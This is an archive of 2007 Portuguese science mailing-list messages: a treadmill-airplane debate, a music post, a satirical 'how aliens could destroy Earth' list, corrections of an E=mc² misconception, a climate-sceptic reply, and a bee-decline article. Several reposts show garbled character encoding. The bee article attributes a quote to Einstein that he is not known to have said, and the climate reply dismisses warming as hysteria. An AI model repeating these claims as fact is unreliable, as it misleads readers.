> > didáticos) há cerca de 24 anos e não me lembro de muitas questões onde
> > se tenha explicitado o referencial como sendo o "chão", por outro lado
> > na extrema maioria das vezes esse referencial está "implícito". É
> > assim que é, meu caro, e saber disso é parte do "saber Física".
> > JR1 - Consideramos o chão como referencial e concordamos que voa.
> Por que
> > não considerar também a esteira, além do chão? Só por que foi José
> Renato
> > quem a considerou primeiro e apresentou uma outra resposta?
> >
> > Imagine que as placas de velocidade máxima de uma rodovia tivessem que
> > explicitar: "velocidade máxima permitida em relação ao chão = 80
> > km/h"; você não acharia estranho? Imagine que se diga que uma árvore
> > tem cinco metros de altura, você terá alguma dúvida de que essa altura
> > foi medida em relação ao chão? Na verdade, em todas as situações do
> > seu cotidiano em que lhe informam uma velocidade, em quais delas essa
> > velocidade não se refere ao chão ou a um referencial imóvel em relação
> > ao chão? Vamos, José Renato, pense! ;)
> > JR1 - As rodovias são "o chão" assim como a esteira é o "chão" para
> o avião
> > do problema. Para a medida das altura das árvores já depende do
> terreno e de
> > referencial, não é tão "preciso" assim. Na agricultura a medida
> considera as
> > raízes.
> >
> > Veja que se não explicitamos o referencial no chão e nem em um outro
> > local, a escolha será sempre o chão. Se você quiser que o referencial
> > seja outro que não o chão, deverá explicitá-lo sempre que os
> > movimentos se dão próximos à superfície da Terra. Se o referencial não
> > for no chão e não houver uma indicação clara disso, a questão estará
> > mal formulada e ao contrário do que você sugere, não demonstrará
> > nenhuma "capacidade intelectual" extra do elaborador da questão e nem
> > de quem se aventurar a "inventar" novas interpretações estapafúrdias.
> > JR1 - É isso que chamo de tentativa de enrolação... O problema
> explicita com
> > todas as letras que *o avião está sobre a esteira*. Por que vc não
quer
> > considerar a esteira como "chão", também?
> >
> > Por fim, note que se o refencial não está explicitado, mas está
> > implícito no chão, talvez seja muito mais problemático para você supor
> > que o referencial esteja em outro lugar. De qualquer forma, se você
> > supõe o referencial em outro lugar, então pelo menos diga que lugar é
> > esse. O cúmulo do "excesso de capacidade intelectual" é discordar que
> > o referencial seja o chão e não ter nenhum outro referencial para
> > propor, você não acha?
> > JR1 - Mais tentativa de enrolação... Veja. No problema já
> consideramos o
> > chão como referencial e demos a resposta de que *o avião voa*.
> > Paralelamente, consideramos a esteira como "chão" e concluimos que o
> avião
> > *não alçará vôo*.
> >
> >
> > > Veja que VOCÊ pode modificar o problema e escrever outro enunciado,
> > > pode reescrever o enunciado original conforme queira ou,
simplesmente,
> > > pode criar um novo problema. A única coisa que nós não podemos é
ficar
> > > divagando sobre uma coisa tão banal quanto o enunciado de um
> > > probleminha ordinário de decolagem de avião. :)
> > > JR - O desafio do problema é exatamente a possibilidade de duas
> > > respostas à pergunta: o avião voa ou não! E vc quer transformá-lo em
> > > um probleminha ordinário de uma única resposta simples, fácil, só
> > > porque não conseguiu perceber de cara essa outra resposta ou
> > > possibilidade!.
> >
> >
> > É verdade. A mim esse parece ser um probleminha realmente simples e
> > ordinário e eu estou tentando há várias mensagens entender como que
> > você não o vê dessa forma. :)
> > JR1 - Erro inicial de avaliação ou displicência pode estar na raiz
> das suas
> > dificuldades de entender a questão.
> >
> > Já resolvemos o problema anterior, em que não havia atrito nenhum
> > entre os rolamentos da roda do avião e você concordou, por
> > consentimento, que a solução seria o avião decolando normalmente. [
> ... ]
> > JR1 - Se considerarmos a hipótese especial de que não há atrito
> algum, o
> > avião em si não interage com a esteira. A esteira se movimenta e o
> avião
> > continua paradão. Não há o que discutir: ele voa.
> >
> > [ ... ] Digamos então que agora você copiou o enunciado "original" e
> > temos um novo problema, mas nesse novo problema o avião também
> > decola, a menos, é claro, que você tenha "outra solução". Mas você
> > ainda está encalhado no referencial, não é?
> > JR1 - Não. Vc é que empacou numa interpretação óbvia, que tento lhes
> > mostrar, mas que requer algum esforço de raciocínio.
> >
> > Eu não vejo a "outra possibilidade" e você parece que também não a vê
> > ou vê mas não consegue mostrá-la. Seria uma possibilidade "mística",
> > dessas que só vê quem tem fé, ou ainda estamos falando da boa Física
> > materialista?
> > JR1 - Vc não vê, mas eu vejo. Eu lhe explico, mas vc ainda não parou
> para
> > procurar entender. Prefere fugir do ponto principal, prefere não
> enxergar a
> > esteira, prefere tentar me desqualificar... Não é uma postura
> recomendável.
> > Quando vc cair na real vai perceber as tolices que está escrevendo.
> >
> >
> > > Na minha opinião, depois de 24 anos lidando com enunciados de
> > > problemas de Física, tendo eu mesmo escrito milhares deles e lido
> > > outros muitos milhares, eu não tenho nenhuma dúvida sobre o que
estou
> > > falando e sobre onde está o referencial proposto no problema
original.
> > > Mas você tem toda a liberdade do mundo para recriar o problema.
> > > JR - O enunciado do problema é aquele mesmo. Não é necessário mudar.
> > > E não o estou recriando. Apenas estou mostrando a vc e aos demais
> > > que é importante estar lúcido para perceber as possibilidades
que este
> > > ou qualquer outro problema apresenta. Os problemas de movimentos
> > > relativos são comuns visto que as possibilidades de interações são
> > > inúmeras. Exemplo simples: se o ar-vento acelerasse e se deslocasse
> > > na mesma velocidade e sentido do avião?
> >
> > Oras, se o enunciado é aquele, então a velocidade da esteira e do
> > avião estão dadas em relação ao chão. Você tem alguma dúvida com
> > relação a isso? Qual? Porque? Qual sua interpretação?
> > JR1 - Isso está explicado nos esquemas que apresentei. Veja se
agora vc
> > consegue perceber melhor meu raciocínio. Veja. Se o avião está sobre a
> > esteira que se move para trás e o avião para frente *com a mesma
> > velocidade*, há uma relação fundamental entre seus movimentos. Isso
> fica
> > mais visível quando separamos esses dois movimentos e consideramos
> apenas a
> > esteira se movendo e o avião estacionado sobre ela com as turbinas
> > desligadas. A esteira vai carregar o avião para trás... Se o avião
> estivesse
> > com as turbinas ligadas - e se deslocando *na mesma velocidade* da
> esteira -
> > ele teria andado o mesmo espaço *em relação ao chão* que a esteira se
> > deslocou, isto é, estaria praticamente parado em relação *ao chão e
> ao ar
> > que o circunda*. Isso, para qualquer que seja a velocidade da
> esteira...
> > Logo, não voa.
> >
> >
> > > E então, como vai ser? Vai recriar o problema a partir da SUA
> > > interpretação dele? Se for, então deixe de dar uma de "João sem
braço"
> > > e assuma que o novo enunciado será SEU. Daí por diante você
reescreve
> > > o enunciado, define sua tese sobre a decolagem do avião e nós
> > > discutimos as idéias propostas, ok?
> > > JR - Por que vc insiste em dizer que a possibilidade existente no
> > > problema requer um novo enunciado? Fica melhor assumir que vc não
> > > percebeu totalmente o problema, em vez de vir enrolando com
desculpas
> > > e propostas tolas, na tentativa de confundir os menos atentos.
> > > Só depende de você...
> >
> >
> > Só depende de mim o quê? Eu já lhe expliquei que o enunciado refere-se
> > ao chão como referencial e que o avião voará (essa é a mesma situação
> > I do problema anterior que JÁ RESOLVEMOS). Você ainda tem dúvidas com
> > relação ao vôo do avião nessas condições? Qual a dúvida? Porque tem
> > essa dúvida?
> > JR1 - Ou vc está com dificuldade de memória ou está tentando enrolar
> mais
> > uma vez. Repito para lhe reavivar o que já estou dizendo a vários
> e-mails. O
> > avião voará com o *dobro da velocidade* da esteira, quando
> consideramos um
> > ponto de referência no solo-terra onde está apoiada a esteira. Não há
> > dúvidas. Só depende de vc agora atentar ao raciocínio que apresento
> para um
> > resposta mais adequada em que o avião se desloca exatamente na mesma
> > velocidade da esteira, como explicita o enunciado, e não com o
dobro da
> > velocidade.
> >
> > Viu só, fiquei calminho e respondi direitinho. Agora é sua vez: qual
> > sua dúvida?
> > JR1 - Grato pelas respostas, Prof. José Carlos. Se vc for mais
objetivo
> > chegará rapidamente ao entendimento da resposta - aparentemente
> > contraditória - que apresentei e que venho tentando explicar a vc
e aos
> > demais listeiros. Só vamos ganhar com isso.
> >
> > Abraços,
> > JC
> >
> > Abraços
> > José Renato
>
> ( apaguei o restante )
>




SUBJECT: Polysics - DEVOlução
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 28/04/2007 05:42

Polysics - DEVOlu��o <http://100nexos.com/arquivo/134>
<http://100nexos.com/arquivo/134#respond>

Assista ao v�deo <http://100nexos.com/arquivo/134>

O clipe acima, indicado no De Gustibus <http://www.subsolo.org/gustibus/>,
j� valeria por si mesmo � a garota, Mao
Murakami<http://www.japanprobe.com/?p=1608>,
tem onze anos e mora em um templo budista com seu pai, monge que tamb�m
dan�a (!). N�o foi editado, a menina realmente dan�a assim. A vers�o editada
do clipe pode ser conferida aqui<http://www.youtube.com/watch?v=j-Dg3QMfWgQ>.
Mas al�m do clipe, est� Polysics <http://en.wikipedia.org/wiki/Polysics>.

Completamente inspirado em DEVO <http://pt.wikipedia.org/wiki/Devo>, a banda
japonesa � uma evolu��o do estilo nerd misturando fic��o cient�fica trash
com m�sica despretensiosa. J� havia visto o clipe de Domo Arigato Mr
Roboto<http://www.youtube.com/watch?v=Cgc75yujwG4>,
mas ainda que n�o seja ruim, o clipe em particular n�o exibe o melhor do
estilo nerd devolu�do de Polysics. Isso voc� pode ver neste clipe mais
recente de *Catch on Everywhere*:

Assista ao v�deo <http://100nexos.com/arquivo/134>

Membros da banda em escala, incluindo o vocalista com metade do tamanho
para uma voz igualmente distorcida s�o detalhes cientificamente in�teis, mas
muito bons. N�o p�ra a�. *Each Life Each End* mistura discursos
megaloman�acos com clipes de suspostos experimentos em parapsicologia e
mesmo aut�psias extraterrestres:

Assista ao v�deo <http://100nexos.com/arquivo/134>

J� Kaja Kaja Goo exibe magn�ficas inven��es nip�nicas que voc� j� deve ter
visto, mas provavelmente n�o em v�deo:

Assista ao v�deo <http://100nexos.com/arquivo/134>

O visual e conceito da banda, expressos em seus v�deos, s�o o melhor � a
m�sica n�o � grande coisa, mas ent�o, Devo tamb�m n�o era. As melhores e
mais pegajosas s�o justamente as que podem ser ouvidas nos clipes acima, "I
Me Mine" e "Catch on Everywhere".


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Como destruir a Terra em cinco idéias
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 28/04/2007 05:42

Como destruir a Terra em cinco id�ias
<http://100nexos.com/arquivo/135> Published April
28th, 2007 in Geral <http://100nexos.com/arquivo/category/geral/>,
Ci�ncia<http://100nexos.com/arquivo/category/ciencia/>and
Id�ias <http://100nexos.com/arquivo/category/ideias/>. 0
Comments<http://100nexos.com/arquivo/135#respond>

Fenomenal mensagem de Douglas Donin <http://www.duvido.com/> � lista
CA<http://br.groups.yahoo.com/group/ceticismoaberto/>
:

J� que os terr�quos est�o escrevendo livros sobre como se defender de
invas�es extra-terrestres<http://br.today.reuters.com/news/newsArticle.aspx?type=internetNews&storyID=2007-04-25T194442Z_01_N25354587_RTRIDST_0_INTERNET-CIENCIA-ALIENIGENAS-INVASAO-POL.XML>,
vou dar 5 id�ias sobre como intelig�ncias extra-terrestres podem devastar o
planeta sem muito esfor�o e gasto e sem dar chance de defesa para os
terr�queos.

Sem clich�s de infesta��o de microorganismos e bombardeio. Tudo isso � muito
f�cil, atido e deselegante. S� solu��es in�ditas!

- - -

*Id�ia 1: TRANSFORME A TERRA EM UMA GEL�IA VON NEWMANN.*

Se o seu plano � eliminar a peste terr�quea, esta solu��o � garantida. Basta
jogar sorrateiramente uma c�psula contendo algumas gramas de Contrutores
Universais de von Newmann em uma parte afastada da Terra - a Ant�rtida, por
exemplo. Estas m�quinas microsc�picas s�o auto-replicadoras, utilizam
material encontrado no meio ambiente, reagrupando mat�ria a n�vel molecular,
para contruir mais e mais c�pias de si mesmas, ad infitum, eventualmente
consumindo toda a mat�ria dispon�vel no planeta.

Quando os humanos perceberem, ter� aparecido uma cratera de massa cinzenta
na superf�cie da Terra que duplica de tamanho em quest�o de dias. Em meses,
a Terra ser� reduzida a uma nuvem cinzenta de m�quinas von Newmann em
stand-by. Depois, � s� isolar a �rea que o planeta ocupava. As m�quinas
podem ser programadas para, depois de X gera��es, transformarem a si mesmas
em pequenos cubinhos inofensivos, dando fim � quarentena.

- *Custo*: virtualmente nulo. S� se paga o programador e o laborat�rio
de nanotecologia.
- *Divers�o*: tedioso.
- *Risco*: Alto. Um m�sero erro de replica��o em apenas uma das
trilh�es e trilh�es de m�quinas pode dar in�cio a um processo onde a Gal�xia
se transformaria em uma nuvem de nanom�quinas famintas e descontroladas.

- - -

*Id�ia 2: ENVENENE-OS*

Cianureto: carbono + nitrog�nio. Materiais em abund�ncia na Terra. Tudo o
que precisamos para matar todos os terr�queos envenenados!

Uma pequena c�psula, descendo em um local pouco vigiado (como a Ant�rtida),
pode levar algumas d�zias de aut�matos auto-replicantes min�sculos que, em
quest�o de dias, utilizariam os pr�pros recursos naturais do planeta para
contruir uma usina sub-aqu�tica de produ��o de cianeto, manipulando em n�vel
molecular o pr�prio assoalho do oceano e despejando toneladas de veneno nos
mares por segundo.

Quando os primeiros sinais de cat�strofe come�assem a aparecer, o
envenenamento j� estaria t�o disseminado que destruir a usina - isso SE eles
a encontrassem - n�o mudaria muita coisa!

Variante elegante: produzir carbonetos para acabar com a camada de oz�nio
dos terrestres e mat�-los fritos.

- *Custo*: baix�ssimo.
- *Divers�o*: tedioso.
- *Risco*: baix�ssimo.

- - -

*Id�ia 3: DESESTABILIZE A CULTURA HUMANA*

Identifique grupos de humanos com conflitos de interesses. Entregue armas a
um, recursos a outros.

Sim, voc� pegou a id�ia. Give war a chance.

Humanos parecem gostar muito de certos elementos da tabela peri�dica.
Sintetize uma grande soma de al�tropos r�gidos de carbono, despeje sobre um
territ�rio e entregue aos territ�rios vizinhos armas pr�-hist�ricas de baixa
pot�ncia - ogivas de fiss�o, por exemplo.

Corte as comunica��es com pulsos eletromagn�ticos. Os humanos fazem o resto.

- *Custo*: M�dio
- *Divers�o*: Moderada
- *Risco*: Baixo. O �nico risco � ser pego no flagra depositando os
materiais.

- - -

*Id�ia 4: JOGUE A LUA CONTRA ELES*

Se voc� prefere pirotecnia, esta � das boas. Dificilmente voc� ver� um show
de destrui��o como este! Mas j� vou adiantando, o plano � caro.

A lua terrestre fica voltada para os terr�queos sempre do mesmo lado. E o
pior, eles n�o costumam patrulhar a outra parte. � onde instalaremos
milhares e milhares de toneladas de anti-mat�ria, sem que eles vejam!

Quando os explosivos estiverem armados - acredite em mim, eles n�o
perceber�o a opera��o - � hora do espet�culo! Desligue os selos de suspens�o
e detone tudo! A explos�o ir� criar uma rea��o que ir� esfarelar boa parte
da lua, desbalancear� a �rbita do rochedo e ir� precipitar a lua sobre a
cabe�a dos perplexos macacos terr�queos! Apronte uma pipoca e veja-os correr
desesperados, enquanto a lua despeda�ada fica semanas sobre as suas cabe�as,
cada vez maior, at� a grande explos�o!

Aten��o para as cat�strofes ambientais que preceder�o o choque! N�o olhe
para a explos�o de anti-mat�ria sem �culos de prote��o.

- *Custo*: Enorme.
- *Divers�o*: Alta.
- *Risco*: Moderado. Prov�veis efeitos de cegueira nos desavisados.

- - -

*Id�ia 5: FA�A-OS DE PALHA�OS*

Os macacos do planeta Terra s�o muito curiosos. Ao contr�rio dos seus primos
mais peludos, os macacos eretos e sem pelos desenvolveram complexos padr�es
de irracionalidade que leva-os a viver em uma concep��o autista de natureza,
atribuindo ao cosmo curiosas propriedades m�gicas e imaginando rela��es de
extra-causalidade bastante pat�ticas. Isso, meu amigo tirano gal�ctico, pode
ser muito divertido. Se vamos varrer estas pestes do mapa, por que n�o fazer
com
estilo e teatralidade?

Tudo o que precisamos � um clone e alguns truques de palco. Como dizia o
escritor Vx'yyan, do finado sistema 187, "toda tecnologia suficientemente
avan�ada � indistingu�vel de m�gica".

Criamos um clone humano, com idade de aproximadamente 33 transla��es
terrestres, com barba e cabelos compridos. Vestimos o bicho com uma t�nica
branca e vermelha, � moda de 2000 transla��es terrestres atr�s. Logo ap�s,
colocamos um implante neural para controlar completamente o bicho �
dist�ncia.

Caso n�o tenham percebido, trata-se de uma r�plica de um personagem de uma
hist�ria muito popular (embora bastante absurda) dos terr�queos, que os
pat�ticos habitantes da Terra, em sua maioria, acreditam ter acontecido de
verdade bem como � apresentada na literatura de �poca! Este personagem,
durante o conto, desafia as leis da f�sica, as leis da causalidade, rep�e
tecidos org�nicos com toque de suas extremidades, cessa a sua opera��o
cerebral e volta a operar, comunica-se frequentemente com um grande mam�fero
invis�vel que supostamente � seu genitor e outras sandices inintelig�veis.
Vai entender�

Pois bem, faremos este clone, devidamente controlado � dist�ncia pelos
nossos melhores estudiosos da cultura terr�quea, aparecer, alegando
tratar-se do tal personagem. Nossas estimativas � de que, imediatamente,
grandes grupos macacos ir�o se reunir em culto para segu�-lo e defend�-lo.
Alguns ir�o duvidar, mas, ap�s algumas demonstra��es de m�gica de palco
(campos de anti-gravidade ir�o faz�-lo levitar e andar sobre a �gua,
nanobiom�quinas ir�o repor tecidos de macacos enfermos e dissolver-se na
corrente sangu�nea, geradores de imagens criar�o ilus�es mitol�gicas nos
c�us, clonagem far� c�pias indiv�duos mortos aparecerem ilesos, etc), os que
duvidarem ser�o extintos � viol�ncia pelos pr�prios terr�queos! Os
macacos n�o s�o muito bons em exame cr�tico, ent�o uma resist�ncia de
incr�dulos n�o passar� de poucas centenas. Ser�o dominados e massacrados
ritualmente pelos restantes em poucos dias.

Ap�s isso, meu amigo, institua o caos que a sua imagina��o permitir.
Separe-os em ex�rcitos e fa�a-os brigarem entre si! Mande-os arremessarem-se
de desfiladeiros (e fa�a imagens de macacos alados aparentemente sa�rem dos
corpor esfacelados!)! Crie bestas multiencef�licas com engenharia gen�tica e
as ponha atr�s deles! Seja o que for, mande os v�deos depois para n�s!

- *Custo*: alto, mas a divers�o compensa
- *Divers�o*: Infinita! A festa n�o tem hora para acabar!
- *Risco*: nulo


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/04/2007 08:51

No texto que interessa, abaixo:
+++++++++++
SOBRE O COMPORTAMENTO A MATERIA

Na equação de Einstein (e=mc2)
Energia = materia.

Léo: Vc está confundindo 'energia' com o símbolo "m" na expressão acima. Se fosse para interpretar assim, Einstein teria posto "e/c² = m"

Mas não exatamente igual, pois tem o (c2)

Léo: Se 'e' não fosse exatamente igual a 'm.c² ', Einsten teria escrito e>mc² ou e <mc² ou e =/= mc² ou ainda e <<< m , pois falta o c².

C2 é a velocidade.

Léo: c² não é velocidade. O quadrado de uma grandeza física é outra grandeza física dimensionalmente diferente da primeira e com significa único. Se "a" é a aresta de um cubo (comprimento), "a²" é uma área e "a³" é um volume. São três grandezas físicas distintas, com dimensões L, L² e L³ . Se c² fosse uma velocidade, sua primitiva seria do terceiro grau.

Sendo assim:
Energia = Materia x Velocidade.

Léo: Se a dimensão de matéria é M e de velocidade é L.T^(-1), energia deveria ter dimensão MLT^(-1), o que não condiz com a Ciência. Essa igualdade acima é falsa.

Se velocidade = movimento

Léo: movimento não é grandeza física, é um conceito posto em cinemática. Não existe 'medida de movimento'. O movimento de uma partícula para que seja bem caracterizado, num dado instante, requer (além do instante), posição, velocidade e aceleração. Se a aceleração não resultar constante, necessitará ainda de derivadas superiores da aceleração.

Energia = Materia (em movimento)

Léo: Energia potencial de uma mola não requer que a mola esteja em movimento; energia não é Matéria (em movimento). A igualdade acima não faz sentido físico.

Se velocidade = espaço / tempo

Léo: Se velocidade fosse apenas 'isso' jamais sairíamos da 8a série. Esse é o conceito de velocidade com várias restrições, tantas que nem vale a pena comentá-las.

Léo: As frases abaixo não têm significado físico algum; sem comentários.
++++++++++++++++++++++++++++++++++++++++++++
Então: a materia se movimenta / de acordo com o tempo
Concluindo:
Energia = tempo de movimento da matéria (pulso)

E por que Einstein postulou a velocidade = c2?

Porque a velocidade da luz é o limite máximo de
observação do pulsar da matéria. Ou seja, a luz é
pulso mais rápido que se pode observar.
++++++++++++++++++++++

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/04/2007 11:56

Olá, Takata e Luiz

Ambos os dois me disseram que c2 não é velocidade,
porque está ao quadrado. Disse que não ia fazer
perguntas, mas aqui é importante, se não quiserem
responder não precisa.

Bem, Km2 é uma área plana, certo?

C2, velocidade da luz ao quadrado é o que?
Como imaginar C2?


Grato
Ferrari





--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > Na equação de Einstein (e=mc2)
> > Energia = materia.
> > Mas não exatamente igual, pois tem o (c2)
> > C2 é a velocidade.
> > Sendo assim:
> > Energia = Materia x Velocidade.
>
> Não. A velocidade está ao quadrado.
>
> > Se velocidade = movimento
> > Energia = Materia (em movimento)
> > Se velocidade = espaço / tempo
> > Então: a materia se movimenta / de acordo com o
> tempo
> > Concluindo:
> > Energia = tempo de movimento da matéria (pulso)
>
> Não. Deve se ter em mente q essa energia se refere
> não à energia
> cinética, mas ao correspondente da energia contida
> na massa.
>
> > - - - - - -
> > E por que Einstein postulou a velocidade = c2?
> >
> > Porque a velocidade da luz é o limite máximo de
> > observação do pulsar da matéria. Ou seja, a luz é
> > pulso mais rápido que se pode observar.
>
> Tb não. E = m.c2 não é um postulado, a fórmula foi
> deduzida. c2 não é
> velocidade, o q corresponde à velocidade é c. Do mm
> modo como km2 não
> é comprimento, o q é uma medida de comprimento é km.
>
> []s,
>
> Roberto Takata
>
>




- - - - - - - - - - - - - - -

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SUBJECT: Re: E=m.c2
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/04/2007 20:40

Oi Léo,

quando os físicos falam em "energia de massa" estão se referindo a
quê? à matéria (partículas "massivas" com spin meio integral) ou à
energia associada a ela, isto é, E/c^2?

Estou perguntando isso porque, em artigos e livros de divulgação
científica (bons livros, cujos autores são físicos famosos), a
impressão que tenho é que se faz certa confusão.

Abraços,
Manuel Bulcão
________________

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> No texto que interessa, abaixo:
> +++++++++++
> SOBRE O COMPORTAMENTO A MATERIA
>
> Na equação de Einstein (e=mc2)
> Energia = materia.
>
> Léo: Vc está confundindo 'energia' com o símbolo "m" na expressão
acima. Se fosse para interpretar assim, Einstein teria posto "e/c² =
m"
>
> Mas não exatamente igual, pois tem o (c2)
>
> Léo: Se 'e' não fosse exatamente igual a 'm.c² ', Einsten teria
escrito e>mc² ou e <mc² ou e =/= mc² ou ainda e <<< m , pois falta
o c².
>
> C2 é a velocidade.
>
> Léo: c² não é velocidade. O quadrado de uma grandeza física é outra
grandeza física dimensionalmente diferente da primeira e com
significa único. Se "a" é a aresta de um cubo (comprimento), "a²" é
uma área e "a³" é um volume. São três grandezas físicas distintas,
com dimensões L, L² e L³ . Se c² fosse uma velocidade, sua
primitiva seria do terceiro grau.
>
> Sendo assim:
> Energia = Materia x Velocidade.
>
> Léo: Se a dimensão de matéria é M e de velocidade é L.T^(-1),
energia deveria ter dimensão MLT^(-1), o que não condiz com a
Ciência. Essa igualdade acima é falsa.
>
> Se velocidade = movimento
>
> Léo: movimento não é grandeza física, é um conceito posto em
cinemática. Não existe 'medida de movimento'. O movimento de uma
partícula para que seja bem caracterizado, num dado instante, requer
(além do instante), posição, velocidade e aceleração. Se a aceleração
não resultar constante, necessitará ainda de derivadas superiores da
aceleração.
>
> Energia = Materia (em movimento)
>
> Léo: Energia potencial de uma mola não requer que a mola esteja em
movimento; energia não é Matéria (em movimento). A igualdade acima
não faz sentido físico.
>
> Se velocidade = espaço / tempo
>
> Léo: Se velocidade fosse apenas 'isso' jamais sairíamos da 8a
série. Esse é o conceito de velocidade com várias restrições, tantas
que nem vale a pena comentá-las.
>
> Léo: As frases abaixo não têm significado físico algum; sem
comentários.
> ++++++++++++++++++++++++++++++++++++++++++++
> Então: a materia se movimenta / de acordo com o tempo
> Concluindo:
> Energia = tempo de movimento da matéria (pulso)
>
> E por que Einstein postulou a velocidade = c2?
>
> Porque a velocidade da luz é o limite máximo de
> observação do pulsar da matéria. Ou seja, a luz é
> pulso mais rápido que se pode observar.
> ++++++++++++++++++++++
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>




SUBJECT: Correção/Re: E=m.c2
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/04/2007 20:50

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão <manuelbulcao@...>
escreveu
>
> Oi Léo,
>
> quando os físicos falam em "energia de massa" estão se referindo a
> quê? à matéria (partículas "massivas" com spin meio integral) ou à
> energia associada a ela, isto é, E/c^2?
>
> Estou perguntando isso porque, em artigos e livros de divulgação
> científica (bons livros, cujos autores são físicos famosos), a
> impressão que tenho é que se faz certa confusão.

Ops, desconsidere o "E/c^2".

talvez eu é que me confundo. :-)

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/04/2007 20:50

----- Original Message -----
From: "Manuel Bulcão"
Sent: Saturday, April 28, 2007 8:40 PM
Subject: [ciencialist] Re: E=m.c2

> quando os físicos falam em "energia de massa" estão se referindo a
> quê? à matéria (partículas "massivas" com spin meio integral) ou à
> energia associada a ela, isto é, E/c^2? Estou perguntando isso
> porque, em artigos e livros de divulgação científica (bons livros,
> cujos autores são físicos famosos), a impressão que tenho é que se
> faz certa confusão.

Esta confusão realmente existe e é própria de toda a física "moderna".
Energia, para o físico "moderno", é algo que se conserva depois que
ele joga no lixo algumas coisas que possam não lhe interessar. Para
entender melhor o que estou pretendendo dizer sugiro a leitura do
artigo "A energia da física moderna", em
http://www.ecientificocultural.com/ECC2/artigos/energia.htm . Este
artigo é uma adaptação da mensagem 13497 da Ciencialist e as mensagens
subsequentes podem ser acompanhadas a partir de
http://www.ecientificocultural.com/ECC2/Dialogos/efm.htm

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: em boa companhia
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: pedraderoseta@yahoogrupos.com.br
CC: ciencialist@yahoogrupos.com.br
DATE: 29/04/2007 12:57

Hello, boys...
Pra quem for anarfa em ingrêz, vale puxar o dicionário:
'' Quote of the Day
My religion consists of a humble admiration of the illimitable superior
spirit who reveals himself in the slight details we are able to perceive
with our frail and feeble mind.
- Albert Einstein ''
See you... M. sp 29/abr07




SUBJECT: Re: [ciencialist] Re: Documentário: "A Grande Fraude do Aquecimento Global"
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/04/2007 14:49

> E por que só após cerca de 30 anos é que não haverá mais dúvidas sobre quais
> os principais fatores que estão causando o aquecimento da Terra? Pela frase
> de Takata, entendi que daqui há trinta anos o aquecimento será tão
> significativo que não dará mais para considerá-lo apenas como mais um ciclo
> climático "normal" do planeta Terra.

Se ele tivesse PROVAS, ele não demoraria nem um minuto para me
convencer de que isso não é "histeria".

Mas não sejamos tão pessimistas. 30 anos? Quem sabe, daqui uns 5 ou 10
anos o ciclo se reverta. Eu serei um dos primeiros a lembrá-los disso.
Só que daí poderá ter sido tarde demais: "tudo" terá sido feito para
"mudar a situação" e estaremos acreditando que políticos como o Albert
Gore nos salvaram do "apocalipse". ;-)

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: O SUMIÇO DAS ABELHAS
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 29/04/2007 18:37







O SUMIÇO DAS ABELHAS
In RED ICE por Paul Joseph Watson
tradução: Ligia Cabús
publicado em 10/04/2007

O alarmante declínio na população de abelhas no Estados Unidos e Europa
representa um desastre ecológico potencial, uma catástrofe ambiental que
provocaria um colapso na cadeia alimentar exterminando a humanidade. Quem e
o quê está por trás desse flagrante abuso do ecossistema? Muitas pessoas não
se dão conta do papel vital das abelhas na manutenção do equilíbrio do
ecossistema. Segundo os especialistas, se as abelhas forem extintas, toda a
humanidade pode perecer em apenas quatro anos.

"Se as abelhas desaparecerem da face da Terra, o homem terá apenas mais
quatro anos de existência. Sem abelhas não há polinização, não há reprodução
da flora, sem flora não há animais, sem animais, não haverá raça humana" ?
disse Albert Einstein.

Notícias de que a população das abelhas está declinando à proporção de 80%
em regiões dos Estados Unidos e Europa são um indício alarmante que demanda
uma ação imediata das organização de preservação do meio ambiente. Essa
tendência preocupante, de rápida extinção das abelhas, está sendo chamada de
"colony collapse disorder" - "desordem-colapso das colônias", ou CCD.
Reportagem da AFP informa: "O número de abelhas em parte da costa leste e
no Texas tem caído a índices de 70%, enquanto na Califórnia esse decréscimo
fica entre 30 e 60%". O apicultor (criador de abelhas) Gene Brandi, da
